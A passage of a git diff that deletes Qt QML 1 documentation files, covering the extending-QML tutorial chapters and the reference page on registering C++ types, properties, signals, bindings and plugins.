chartCleared() signal: - -\snippet declarative/tutorials/extending/chapter2-methods/piechart.cpp 0 - -Now when we run the application and click the window, the pie chart -disappears, and the application outputs: - -\code - The chart has been cleared -\endcode - -Try out the example yourself with the updated code in Qt's \c examples/tutorials/extending/chapter2-methods directory. - -*/ - -/*! -\title Chapter 3: Adding Property Bindings - -\example declarative/tutorials/extending/chapter3-bindings - -Property bindings is a powerful feature of QML that allows values of different -elements to be synchronized automatically. It uses signals to notify and update -other elements' values when property values are changed. - -Let's enable property bindings for the \c color property. That means -if we have code like this: - -\snippet declarative/tutorials/extending/chapter3-bindings/app.qml 0 - -\image extending-tutorial-chapter3.png - -The "color: chartA.color" statement binds the \c color value of -\c chartB to the \c color of \c chartA. -Whenever \c chartA's \c color value changes, \c chartB's \c color value -updates to the same value. When the window is clicked, the \c onClicked -handler in the MouseArea changes the color of \c chartA, thereby changing -both charts to the color blue. - -It's easy to enable property binding for the \c color property. -We add a \l{Qt's Property System}{NOTIFY} feature to its Q_PROPERTY() declaration to indicate that a "colorChanged" signal -is emitted whenever the value changes. - -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.h 3 - -Then, we emit this signal in \c setPieSlice(): - -\snippet declarative/tutorials/extending/chapter3-bindings/piechart.cpp 0 - -It's important for \c setColor() to check that the color value has actually changed -before emitting \c colorChanged(). This ensures the signal is not emitted unnecessarily and -also prevents loops when other elements respond to the value change. - -The use of bindings is essential to QML. You should always add NOTIFY -signals for properties if they are able to be implemented, so that your -properties can be used in bindings. Properties that cannot be bound cannot be -automatically updated and cannot be used as flexibly in QML. Also, since -bindings are invoked so often and relied upon in QML usage, users of your -custom QML types may see unexpected behavior if bindings are not implemented. - -*/ - -/*! -\title Chapter 4: Using Custom Property Types - -\example declarative/tutorials/extending/chapter4-customPropertyTypes - -The \c PieChart type currently has a string-type property and a color-type property. -It could have many other types of properties. For example, it could have an -int-type property to store an identifier for each chart: - -\code - // C++ - class PieChart : public QDeclarativeItem - { - Q_PROPERTY(int chartId READ chartId WRITE setChartId NOTIFY chartIdChanged) - ... - - public: - void setChartId(int chartId); - int chartId() const; - ... - - signals: - void chartIdChanged(); - }; - - // QML - PieChart { - ... - chartId: 100 - } -\endcode - -We can also use various other property types. QML has built-in support for the types -listed in the \l{QML Basic Types} documentation, which includes the following: - -\list -\li bool, unsigned int, int, float, double, qreal -\li QString, QUrl, QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF, QSize, QSizeF, QRect, QRectF -\li QVariant -\endlist - -If we want to create a property whose type is not supported by QML by default, -we need to register the type with QML. - -For example, let's replace the use of the \c property with a type called -"PieSlice" that has a \c color property. Instead of assigning a color, -we assign an \c PieSlice value which itself contains a \c color: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/app.qml 0 - -Like \c PieChart, this new \c PieSlice type inherits from QDeclarativeItem and declares -its properties with Q_PROPERTY(): - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/pieslice.h 0 - -To use it in \c PieChart, we modify the \c color property declaration -and associated method signatures: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 2 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.h 3 - -There is one thing to be aware of when implementing \c setPieSlice(). The \c PieSlice -is a visual item, so it must be set as a child of the \c PieChart using -QDeclarativeItem::setParentItem() so that the \c PieChart knows to paint this child -item when its contents are drawn: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/piechart.cpp 0 - - -Like the \c PieChart type, the \c PieSlice type has to be registered -using qmlRegisterType() to be used from QML. As with \c PieChart, we'll add the -type to the "Charts" module, version 1.0: - -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 0 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 1 -\dots -\snippet declarative/tutorials/extending/chapter4-customPropertyTypes/main.cpp 2 - -Try it out with the code in Qt's \c examples/tutorials/extending/chapter4-customPropertyTypes directory. - -*/ - - -/*! -\title Chapter 5: Using List Property Types - -\example declarative/tutorials/extending/chapter5-listproperties - -Right now, a \c PieChart can only have one \c PieSlice. Ideally a chart would -have multiple slices, with different colors and sizes. To do this, we could -have a \c slices property that accepts a list of \c PieSlice items: - -\snippet declarative/tutorials/extending/chapter5-listproperties/app.qml 0 - -\image extending-tutorial-chapter5.png - -To do this, we replace the \c pieSlice property in \c PieChart with a \c slices property, -declared as a QDeclarativeListProperty type. The QDeclarativeListProperty class enables the -creation of list properties in QML extensions. We replace the \c pieSlice() -function with a \c slices() function that returns a list of slices, and add -an internal \c append_slice() function (discussed below). We also use a QList to -store the internal list of slices as \c m_slices: - -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 0 -\dots -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 1 -\dots -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.h 2 - -Although the \c slices property does not have an associated \c WRITE function, -it is still modifiable because of the way QDeclarativeListProperty works. -In the \c PieChart implementation, we implement \c PieChart::slices() to -return a QDeclarativeListProperty value and indicate that the internal -\c PieChart::append_slice() function is to be called whenever a request is made from QML -to add items to the list: - -\snippet declarative/tutorials/extending/chapter5-listproperties/piechart.cpp 0 - -The \c append_slice() function simply sets the parent item as before, -and adds the new item to the \c m_slices list. As you can see, the append function for a -QDeclarativeListProperty is called with two arguments: the list property, and -the item that is to be appended. - -The \c PieSlice class has also been modified to include \c fromAngle and \c angleSpan -properties and to draw the slice according to these values. This is a straightforward -modification if you have read the previous pages in this tutorial, so the code is not shown here. - -The complete code can be seen in the updated \c examples/tutorials/extending/chapter5-listproperties directory. - -*/ - - -/*! -\title Chapter 6: Writing an Extension Plugin - -\example declarative/tutorials/extending/chapter6-plugins - -Currently the \c PieChart and \c PieSlice types are used by \c app.qml, -which is displayed using a QDeclarativeView in a C++ application. An alternative -way to use our QML extension is to create a plugin library to make it available -to the QML engine. This allows \c app.qml to be loaded with the \l {QML Viewer} -(or some other QML \l{Qt Declarative UI Runtime}{runtime} application) instead of writing a \c main.cpp file and -loading our own C++ application. - -To create a plugin library, we need: - -\list -\li A plugin class that registers our QML types -\li A project file that describes the plugin -\li A \l{Writing a qmldir file}{qmldir} file that tells the QML engine to load the plugin -\endlist - -First, we create a plugin class named \c ChartsPlugin. It subclasses QDeclarativeExtensionPlugin -and registers our QML types in the inherited \l{QDeclarativeExtensionPlugin::}{registerTypes()} method. It also calls -Q_EXPORT_PLUGIN2 for Qt's \l{How to Create Qt Plugins}{plugin system}. - -Here is the \c ChartsPlugin definition in \c chartsplugin.h: - -\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.h 0 - -And its implementation in \c chartsplugin.cpp: - -\snippet declarative/tutorials/extending/chapter6-plugins/chartsplugin.cpp 0 - -Then, we write a \c .pro project file that defines the project as a plugin library -and specifies with DESTDIR that library files should be built into a "lib" subdirectory: - -\quotefile declarative/tutorials/extending/chapter6-plugins/chapter6-plugins.pro - -Finally, we add a \l{Writing a qmldir file}{qmldir} file that is automatically parsed by the QML engine. -In this file, we specify that a plugin named "chapter6-plugin" (the name -of the example project) can be found in the "lib" subdirectory: - -\quotefile declarative/tutorials/extending/chapter6-plugins/qmldir - -Now we have a plugin, and instead of having a main.cpp and an executable, we can build -the project and then load the QML file in the \l {QML Viewer}: - -\code - qmlviewer app.qml -\endcode - -(On Mac OS X, you can launch the "QMLViewer" application instead.) - -Notice the "import Charts 1.0" statement has disappeared from \c app.qml. This is -because the \c qmldir file is in the same directory as \c app.qml: this is equivalent to -having PieChart.qml and PieSlice.qml files inside the project directory, which could both -be used by \c app.qml without import statements. -*/ - - -/*! -\page qml-extending-tutorial7.html -\title Chapter 7: In Summary - -In this tutorial, we've shown the basic steps for creating a QML extension: - -\list -\li Define new QML types by subclassing QObject and registering them with qmlRegisterType() -\li Add callable methods using Q_INVOKABLE or Qt slots, and connect to Qt signals with an \c onSignal syntax -\li Add property bindings by defining \l{Qt's Property System}{NOTIFY} signals -\li Define custom property types if the built-in types are not sufficient -\li Define list property types using QDeclarativeListProperty -\li Create a plugin library by defining a Qt plugin and writing a \c qmldir file -\endlist - - -The \l {Extending QML Functionalities using C++} reference documentation shows -other useful features that can be added to QML extensions. For example, we -could use \l{Default Property}{default properties} to allow -slices to be added without using the \c slices property: - -\code - PieChart { - PieSlice { ... } - PieSlice { ... } - PieSlice { ... } - } -\endcode - -Or randomly add and remove slices from time to time using \l{Property Value Sources}{property value sources}: - -\code - PieChart { - PieSliceRandomizer on slices {} - } -\endcode - - -See the \l{Extending QML Functionalities using C++} reference documentation -for more information. - -*/ - diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc deleted file mode 100644 index fbc50b84..00000000 --- a/doc/src/declarative/extending.qdoc +++ /dev/null @@ -1,708 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free Documentation License Usage -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. Please review the following information to ensure -** the GNU Free Documentation License version 1.3 requirements -** will be met: http://www.gnu.org/copyleft/fdl.html. -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-extending.html -\ingroup qml-features -\contentspage QML Features -\previouspage {Presenting Data with Views} -\nextpage {Using QML Bindings in C++ Applications} -\title Extending QML Functionalities using C++ - -The QML syntax declaratively describes how to construct an in-memory object -tree. In Qt, QML is mainly used to describe a visual scene graph, but it is -not conceptually limited to this: the QML format is an abstract description of -any object tree. All the QML element types included in Qt are implemented using -the C++ extension mechanisms describe on this page. Programmers can use these -APIs to add new types that interact with the existing Qt types, or to repurpose -QML for their own independent use. - -\tableofcontents - -\section1 Adding Types -\target adding-types - -\snippet examples/declarative/cppextensions/referenceexamples/adding/example.qml 0 - -The QML snippet shown above instantiates one \c Person instance and sets -the \c name and \c shoeSize properties on it. Everything in QML ultimately comes down -to either instantiating an object instance, or assigning a property a value. - -QML relies heavily on Qt's meta object system and can only instantiate classes -that derive from QObject. For visual element types, this will usually mean a subclass -of QDeclarativeItem; for models used with the view elements, a subclass of QAbstractItemModel; -and for arbitrary objects with properties, a direct subclass of QObject. - -The QML engine has no intrinsic knowledge of any class types. Instead the -programmer must register the C++ types with their corresponding QML names. - -Custom C++ types are registered using a template function: - -\quotation - -\code -template<typename T> -int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) -\endcode - -Calling qmlRegisterType() registers the C++ type \a T with the QML -system, and makes it available in QML under the name \a qmlName in -library \a uri version \a versionMajor.versionMinor. The \a qmlName -can be the same as the C++ type name. - -Type \a T must be a concrete type that inherits QObject and has a default -constructor. - -\endquotation - -#include <QtDeclarative> to use qmlRegisterType(). - -Types can be registered by libraries, application code, or by plugins -(see QDeclarativeExtensionPlugin). - -Once registered, all \l {Qt's Property System}{properties} of the -supported types are available in QML. QML has intrinsic support for -properties of the types listed in the \l{QML Basic Types} -document, which includes the following: - -\list -\li bool, unsigned int, int, float, double, qreal -\li QString, QUrl, QColor -\li QDate, QTime, QDateTime -\li QPoint, QPointF, QSize, QSizeF, QRect, QRectF -\li QVariant -\endlist - -When a property of a supported type is added to a C++ class, in a QML -element based on the C++ class, a \e{value-changed} signal handler -will be available. See \l{Signal Support} below. - -QML is typesafe. Attempting to assign an invalid value to a property -will generate an error. For example, assuming the \e{name} property -of the \c Person element had a type of QString, this would cause an -error: - -\code -Person { - // Will NOT work - name: 12 -} -\endcode - -\l {Extending QML - Adding Types Example} shows the complete code used to create -the \c Person type. - -\section1 QML Type Versioning - -In C++ adding a new method or property cannot break old applications. -In QML, however, new methods and properties can change what a name previously -resolved to to within a scope chain. - -For example, consider these two QML files - -\code -// main.qml -import QtQuick 1.0 -Item { - id: root - MyComponent {} -} -\endcode - -\code -// MyComponent.qml -import MyModule 1.0 -CppItem { - value: root.x -} -\endcode - -where CppItem maps to the C++ class QCppItem. - -If the author of QCppItem adds a "root" property to QCppItem in a new version of the module, -it will break the above program as \c root.x now resolves to a different value. -The solution is to allow the author of QCppItem to state that the new \c root property is -only available from a particular version of QCppItem onwards. This permits new properties -and features to be added to existing elements without breaking existing programs. - -QML enables this by allowing the properties, methods and signals of a class to be tagged with -a particular \e revision, so that they are only accessible if the relevant module version -is imported. In this case, the author can tag the \c root property as being added in -\e {revision 1} of the class, and register that revision in version 1.1 of the module. - -The REVISION tag is used to mark the \c root property as added in revision 1 of the class. -Methods such as Q_INVOKABLE's, signals and slots can also be tagged for a -revision using the \c Q_REVISION(x) macro: - -\code -class CppItem : public QObject -{ - Q_OBJECT - Q_PROPERTY(int root READ root WRITE setRoot NOTIFY rootChanged REVISION 1) - -signals: - Q_REVISION(1) void rootChanged(); -}; -\endcode - -To register the new class revision to a particular version the following function is used: - -\code -template<typename T, int metaObjectRevision> -int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) -\endcode - -To register \c CppItem version 1 for \c {MyModule 1.1}: - -\code -qmlRegisterType<QCppItem,1>("MyModule", 1, 1, "CppItem") -\endcode - -\c root is only available when MyModule 1.1 is imported. - - -\section1 Object and List Property Types - -\snippet examples/declarative/cppextensions/referenceexamples/properties/example.qml 0 - -The QML snippet shown above assigns a \c Person object to the \c BirthdayParty's -\c host property, and assigns three \c Person objects to the guests property. - -QML can set properties of types that are more complex than basic intrinsics like -integers and strings. Properties can also be object pointers, Qt interface -pointers, lists of object pointers, and lists of Qt interface pointers. As QML -is typesafe it ensures that only valid types are assigned to these properties, -just like it does for primitive types. - -Properties that are pointers to objects or Qt interfaces are declared with the -Q_PROPERTY() macro, just like other properties. The \c host property -declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 1 - -As long as the property type, in this case \c Person, is registered with QML the -property can be assigned. - -QML also supports assigning Qt interfaces. To assign to a property whose type -is a Qt interface pointer, the interface must also be registered with QML. As -they cannot be instantiated directly, registering a Qt interface is different -from registering a new QML type. The following function is used instead: - -\quotation -\code -template<typename T> -int qmlRegisterInterface(const char *typeName) -\endcode - -This registers the C++ interface \a T with the QML system as \a typeName. - -Following registration, QML can coerce objects that implement this interface -for assignment to appropriately typed properties. -\endquotation - -The \c guests property is a list of \c Person objects. Properties that are lists -of objects or Qt interfaces are also declared with the Q_PROPERTY() macro, just -like other properties. List properties must have the type \c {QDeclarativeListProperty<T>}. -As with object properties, the type \a T must be registered with QML. - -The \c guest property declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/properties/birthdayparty.h 2 - -\l {Extending QML - Object and List Property Types Example} shows the complete -code used to create the \c BirthdayParty type. - -\section1 Inheritance and Coercion - -\snippet examples/declarative/cppextensions/referenceexamples/coercion/example.qml 0 - -The QML snippet shown above assigns a \c Boy object to the \c BirthdayParty's -\c host property, and assigns three other objects to the \c guests property. - -QML supports C++ inheritance hierarchies and can freely coerce between known, -valid object types. This enables the creation of common base classes that allow -the assignment of specialized classes to object or list properties. In the -snippet shown, both the \c host and the \c guests properties retain the \c Person -type used in the previous section, but the assignment is valid as both the \c Boy -and \c Girl objects inherit from \c Person. - -To assign to a property, the property's type must have been registered with QML. -Both the qmlRegisterType() and qmlRegisterInterface() template functions already -shown can be used to register a type with QML. Additionally, if a type that acts purely -as a base class that cannot be instantiated from QML needs to be -registered, the following function can be used: - -\quotation -\code - template<typename T> - int qmlRegisterType() -\endcode - -This registers the C++ type \a T with the QML system. The parameterless call to the template -function qmlRegisterType() does not define a mapping between the -C++ class and a QML element name, so the type is not instantiable from QML, but -it is available for type coercion. - -Type \a T must inherit QObject, but there are no restrictions on whether it is -concrete or the signature of its constructor. -\endquotation - -QML will automatically coerce C++ types when assigning to either an object -property, or to a list property. Only if coercion fails does an assignment -error occur. - -\l {Extending QML - Inheritance and Coercion Example} shows the complete -code used to create the \c Boy and \c Girl types. - -\section1 Default Property - -\snippet examples/declarative/cppextensions/referenceexamples/default/example.qml 0 - -The QML snippet shown above assigns a collection of objects to the -\c BirthdayParty's default property. - -The \e {default property} is a syntactic convenience that allows a type designer to -specify a single property as the type's default. The default property is -assigned to whenever no explicit property is specified. As a convenience, it is -behaviorally identical to assigning to the default property explicitly by name. - -From C++, type designers mark the default property using a Q_CLASSINFO() -annotation: - -\quotation -\code -Q_CLASSINFO("DefaultProperty", "property") -\endcode - -This marks \a property as the class's default property. \a property must be either -an object property, or a list property. - -A default property is optional. A derived class inherits its base class's -default property, but may override it in its own declaration. \a property can -refer to a property declared in the class itself, or a property inherited from a -base class. -\endquotation - -\l {Extending QML - Default Property Example} shows the complete code used to -specify a default property. - -\section1 Grouped Properties - -\snippet examples/declarative/cppextensions/referenceexamples/grouped/example.qml 1 - -The QML snippet shown above assigns a number of properties to the \c Boy object, -including four properties using the grouped property syntax. - -Grouped properties collect similar properties together into a single named -block. Grouped properties can be used to present a nicer API to developers, and -may also simplify the implementation of common property collections across -different types through implementation reuse. - -A grouped property block is implemented as a read-only object property. The -\c shoe property shown is declared like this: - -\snippet examples/declarative/cppextensions/referenceexamples/grouped/person.h 1 - -The \c ShoeDescription type declares the properties available to the grouped -property block - in this case the \c size, \c color, \c brand and \c price properties. - -Grouped property blocks may declared and accessed be recusively. - -\l {Extending QML - Grouped Properties Example} shows the complete code used to -implement the \c shoe property grouping. - -\section1 Attached Properties - -\snippet examples/declarative/cppextensions/referenceexamples/attached/example.qml 1 - -The QML snippet shown above assigns a date to the \c rsvp property using the attached -property syntax. - -Attached properties allow unrelated types to annotate other types with some -additional properties, generally for their own use. Attached properties are -identified through the use of the attacher type name, in the case shown -\c BirthdayParty, as a prefix to the property name. - -In the example shown, \c BirthdayParty is called the attaching type, and the -\c Boy instance the attachee object instance. - -For the attaching type, an attached property block is implemented as a new -QObject derived type, called the attachment object. The properties on the -attachment object are those that become available for use as the attached -property block. - -Any QML type can become an attaching type by declaring the -\c qmlAttachedProperties() public function and declaring that the class has -QML_HAS_ATTACHED_PROPERTIES: - -\quotation -\code -class MyType : public QObject { - Q_OBJECT -public: - - ... - - static AttachedPropertiesType *qmlAttachedProperties(QObject *object); -}; - -QML_DECLARE_TYPEINFO(MyType, QML_HAS_ATTACHED_PROPERTIES) -\endcode -This returns an attachment object, of type \a AttachedPropertiesType, for the -attachee \a object instance. It is customary, though not strictly required, for -the attachment object to be parented to \a object to prevent memory leaks. - -\a AttachedPropertiesType must be a QObject derived type. The properties on -this type will be accessible through the attached properties syntax. - -This method will be called at most once for each attachee object instance. The -QML engine will cache the returned instance pointer for subsequent attached -property accesses. Consequently the attachment object may not be deleted until -\a object is destroyed. -\endquotation - -Conceptually, attached properties are a \e type exporting a set of additional -properties that can be set on \e any other object instance. Attached properties -cannot be limited to only attaching to a sub-set of object instances, although -their effect may be so limited. - -For example, a common usage scenario is for a type to enhance the properties -available to its children in order to gather instance specific data. Here we -add a \c rsvp field to all the guests coming to a birthday party: -\code -BirthdayParty { - Boy { BirthdayParty.rsvp: "2009-06-01" } -} -\endcode -However, as a type cannot limit the instances to which the attachment object -must attach, the following is also allowed, even though adding a birthday party -rsvp in this context will have no effect. -\code -GraduationParty { - Boy { BirthdayParty.rsvp: "2009-06-01" } -} -\endcode - -From C++, including the attaching type implementation, the attachment object for -an instance can be accessed using the following method: - -\quotation -\code -template<typename T> -QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true); -\endcode -This returns the attachment object attached to \a attachee by the attaching type -\a T. If type \a T is not a valid attaching type, this method always returns 0. - -If \a create is true, a valid attachment object will always be returned, -creating it if it does not already exist. If \a create is false, the attachment -object will only be returned if it has previously been created. -\endquotation - -\l {Extending QML - Attached Properties Example} shows the complete code used to -implement the rsvp attached property. - -\section1 Memory Management and QVariant types - -It is an element's responsibility to ensure that it does not access or return -pointers to invalid objects. QML makes the following guarentees: - -\list -\li An object assigned to a QObject (or QObject-derived) pointer property will be -valid at the time of assignment. - -Following assignment, it is the responsibility of the class to subsequently guard -this pointer, either through a class specific method or the generic QPointer class. - -\li An object assigned to a QVariant will be valid at the time of assignment. - -When assigning an object to a QVariant property, QML will always use a QMetaType::QObjectStar -typed QVariant. It is the responsibility of the class to guard the pointer. A -general rule when writing a class that uses QVariant properties is to check the -type of the QVariant when it is set and if the type is not handled by your class, -reset it to an invalid variant. - -\li An object assigned to a QObject (or QObject-derived) list property will be -valid at the time of assignment. - -Following assignment, it is the responsibility of the class to subsequently guard -this pointer, either through a class specific method or the generic QPointer class. -\endlist - -Elements should assume that any QML assigned object can be deleted at any time, and -respond accordingly. If documented as such an element need not continue to work in -this situation, but it must not crash. - -\section1 Signal Support - -\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/signal/example.qml 1 - -The QML snippet shown above associates the evaluation of a JavaScript expression -with the emission of a Qt signal. - -All Qt signals on a registered class become available as special "signal -properties" within QML to which the user can assign a single JavaScript -expression. The signal property's name is a transformed version of the Qt -signal name: "on" is prepended, and the first letter of the signal name upper -cased. For example, the signal used in the example above has the following -C++ signature: - -\snippet examples/declarative/cppextensions/referenceexamples/signal/birthdayparty.h 0 - -In classes with multiple signals with the same name, only the final signal -is accessible as a signal property. Note that signals with the same name -but different parameters cannot be distinguished. - -Signal parameters become accessible by name to the assigned script. An -unnamed parameter cannot be accessed, so care should be taken to name all the -signal parameters in the C++ class declaration. The intrinsic types -listed in \l{Adding Types}, as well registered object types are permitted as -signal parameter types. Using other types is not an error, but the parameter -value will not be accessible from script. - -\l {Extending QML - Signal Support Example} shows the complete code used to -implement the onPartyStarted signal property. - -If you want to use signals from items not created in QML, you can access their -signals with the \l {Connections} element. - -Additionally, if a property is added to a C++ class, all QML elements -based on that C++ class will have a \e{value-changed} signal handler -for that property. The name of the signal handler is -\e{on<Property-name>Changed}, with the first letter of the property -name being upper case. - -\note The QML signal handler will always be named -on<Property-name>Changed, regardless of the name used for the NOTIFY -signal in C++. We recommend using <property-name>Changed() for the -NOTIFY signal in C++. - -See also \l {Importing Reusable Components} - -\section1 Methods - -Slots and methods marked Q_INVOKABLE may be called as functions in QML. - -\snippet examples/declarative/cppextensions/referenceexamples/methods/example.qml 0 - -In this example an invitation is added via an \c {invite()} invokable method of -the BirthdayParty element. This function is available in QML by marking the \c {invite()} -method with Q_INVOKABLE in the BirthdayParty class: - -\snippet examples/declarative/cppextensions/referenceexamples/methods/birthdayparty.h 0 - -\l {Extending QML - Methods Example} shows the complete code used to -implement the invite() method. - -The \c {invite()} method is similarly available if it is declared as a slot. - -\section1 Property Value Sources - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/example.qml 1 - -The QML snippet shown above applies a property value source to the \c announcement property. -A property value source generates a value for a property that changes over time. - -Property value sources are most commonly used to do animation. Rather than -constructing an animation object and manually setting the animation's "target" -property, a property value source can be assigned directly to a property of any -type and automatically set up this association. - -The example shown here is rather contrived: the \c announcement property of the -\c BirthdayParty object is a string that is printed every time it is assigned and -the \c HappyBirthdaySong value source generates the lyrics of the song -"Happy Birthday". - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/birthdayparty.h 0 - -Normally, assigning an object to a string property would not be allowed. In -the case of a property value source, rather than assigning the object instance -itself, the QML engine sets up an association between the value source and -the property. - -Property value sources are special types that derive from the -QDeclarativePropertyValueSource base class. This base class contains a single method, -QDeclarativePropertyValueSource::setTarget(), that the QML engine invokes when -associating the property value source with a property. The relevant part of -the \c HappyBirthdaySong type declaration looks like this: - -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1 -\snippet examples/declarative/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2 - -In all other respects, property value sources are regular QML types. They must -be registered with the QML engine using the same macros as other types, and can -contain properties, signals and methods just like other types. - -When a property value source object is assigned to a property, QML first tries -to assign it normally, as though it were a regular QML type. Only if this -assignment fails does the engine call the \l {QDeclarativePropertyValueSource::}{setTarget()} method. This allows -the type to also be used in contexts other than just as a value source. - -\l {Extending QML - Property Value Source Example} shows the complete code used -to implement the \c HappyBirthdaySong property value source. - -\section1 Property Binding - -\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 0 -\snippet examples/declarative/cppextensions/referenceexamples/binding/example.qml 1 - -The QML snippet shown above uses a property binding to ensure the -\c HappyBirthdaySong's \c name property remains up to date with the \c host. - -Property binding is a core feature of QML. In addition to assigning literal -values, property bindings allow the developer to assign an arbitrarily complex -JavaScript expression that may include dependencies on other property values. -Whenever the expression's result changes - through a change in one of its -constituent values - the expression is automatically reevaluated and -the new result assigned to the property. - -All properties on custom types automatically support property binding. However, -for binding to work correctly, QML must be able to reliably determine when a -property has changed so that it knows to reevaluate any bindings that depend on -the property's value. QML relies on the presence of a -\l {Qt's Property System}{NOTIFY signal} for this determination. - -Here is the \c host property declaration: - -\snippet examples/declarative/cppextensions/referenceexamples/binding/birthdayparty.h 0 - -The NOTIFY attribute is followed by a signal name. It is the responsibility of -the class implementer to ensure that whenever the property's value changes, the -NOTIFY signal is emitted. The signature of the NOTIFY signal is not important to QML. - -To prevent loops or excessive evaluation, developers should ensure that the -signal is only emitted whenever the property's value is actually changed. If -a property, or group of properties, is infrequently used it is permitted to use -the same NOTIFY signal for several properties. This should be done with care to -ensure that performance doesn't suffer. - -To keep QML reliable, if a property does not have a NOTIFY signal, it cannot be -used in a binding expression. However, the property can still be assigned -a binding as QML does not need to monitor the property for change in that -scenario. - -Consider a custom type, \c TestElement, that has two properties, "a" and "b". -Property "a" does not have a NOTIFY signal, and property "b" does have a NOTIFY -signal. - -\code -TestElement { - // This is OK - a: b -} -TestElement { - // Will NOT work - b: a -} -\endcode - -The presence of a NOTIFY signal does incur a small overhead. There are cases -where a property's value is set at object construction time, and does not -subsequently change. The most common case of this is when a type uses -\l {Grouped Properties}, and the grouped property object is allocated once, and -only freed when the object is deleted. In these cases, the CONSTANT attribute -may be added to the property declaration instead of a NOTIFY signal. - -\snippet examples/declarative/cppextensions/referenceexamples/binding/person.h 0 - -Extreme care must be taken here or applications using your type may misbehave. -The CONSTANT attribute should only be used for properties whose value is set, -and finalized, only in the class constructor. All other properties that want -to be used in bindings should have a NOTIFY signal instead. - -\l {Extending QML - Binding Example} shows the BirthdayParty example updated to -include NOTIFY signals for use in binding. - -\section1 Extension Objects - -\snippet examples/declarative/cppextensions/referenceexamples/extended/example.qml 0 - -The QML snippet shown above adds a new property to an existing C++ type without -modifying its source code. - -When integrating existing classes and technology into QML, their APIs will often -need to be tweaked to fit better into the declarative environment. Although -the best results are usually obtained by modifying the original classes -directly, if this is either not possible or is complicated by some other -concerns, extension objects allow limited extension possibilities without -direct modifications. - -Extension objects are used to add additional properties to an existing type. -Extension objects can only add properties, not signals or methods. An extended -type definition allows the programmer to supply an additional type - known as the -extension type - when registering the target class whose properties are -transparently merged with the original target class when used from within QML. - -An extension class is a regular QObject, with a constructor that takes a QObject -pointer. When needed (extension class creation is delayed until the first extended -property is accessed) the extension class is created and the target object is -passed in as the parent. When an extended property on the original is accessed, -the appropriate property on the extension object is used instead. - -When an extended type is installed, one of the -\code -template<typename T, typename ExtendedT> -int qmlRegisterExtendedType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) - -template<typename T, typename ExtendedT> -int qmlRegisterExtendedType() -\endcode -functions should be used instead of the regular \c qmlRegisterType() variations. -The arguments are identical to the corresponding non-extension registration functions, -except for the ExtendedT parameter which is the type -of the extension object. - -\section1 Optimization - -Often to develop high performance elements it is helpful to know more about the -status of the QML engine. For example, it might be beneficial to delay -initializing some costly data structures until after all the properties have been -set. - -The QML engine defines an interface class called QDeclarativeParserStatus, which contains a -number of virtual methods that are invoked at various stages during component -instantiation. To receive these notifications, an element implementation inherits -QDeclarativeParserStatus and notifies the Qt meta system using the Q_INTERFACES() macro. - -For example, - -\code -class Example : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_INTERFACES(QDeclarativeParserStatus) -public: - virtual void componentComplete() - { - qDebug() << "Woohoo! Now to do my costly initialization"; - } -}; -\endcode -*/ diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc deleted file mode 100644 index a4c9a543..00000000 --- a/doc/src/declarative/focus.qdoc +++ /dev/null @@ -1,210 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Digia Plc and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/legal -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** Commercial License Usage -** Licensees holding valid commercial Qt licenses may use this file in -** accordance with the commercial license agreement provided with the -** Software or, alternatively, in accordance with the terms contained in -** a written agreement between you and Digia. For licensing terms and -** conditions see http://qt.digia.com/licensing. For further information -** use the contact form at http://qt.digia.com/contact-us. -** -** GNU Free 